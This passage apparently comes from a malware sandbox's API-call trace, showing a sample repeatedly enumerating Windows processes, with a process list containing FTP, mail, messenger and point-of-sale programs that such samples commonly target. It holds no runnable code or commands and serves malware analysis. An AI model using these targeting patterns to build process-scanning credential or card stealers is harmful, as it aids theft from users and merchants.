lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0277.223] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0277.226] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0277.228] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0277.230] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0277.233] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0277.271] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0277.273] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0277.275] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0277.277] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0277.278] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0277.280] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0277.281] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0277.283] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0277.285] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0277.287] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0277.289] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0277.290] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0277.292] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0277.293] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0277.295] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0277.296] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0277.298] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0277.300] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0277.302] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0277.303] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0277.305] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0277.306] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0277.308] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0277.309] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0277.311] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0277.313] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0277.314] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0277.366] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0277.368] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0277.369] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0277.371] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0277.372] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0277.373] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0277.375] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0277.377] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0277.379] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0277.381] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 0 [0277.383] CloseHandle (hObject=0x344) returned 1 [0277.383] Sleep (dwMilliseconds=0x64) [0277.442] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0277.454] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0277.456] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0277.569] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0277.572] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0277.574] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0277.576] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0277.578] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0277.580] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0277.582] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0277.584] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.586] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.588] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0277.590] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.592] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.594] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.597] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.599] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.601] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.603] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.605] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0277.607] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0277.609] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0277.611] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.664] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0277.666] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0277.668] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0277.671] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0277.672] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.674] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0277.677] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0277.679] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0277.681] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0277.683] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0277.685] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0277.687] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0277.689] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0277.691] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0277.693] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0277.695] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0277.697] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0277.698] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0277.700] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, 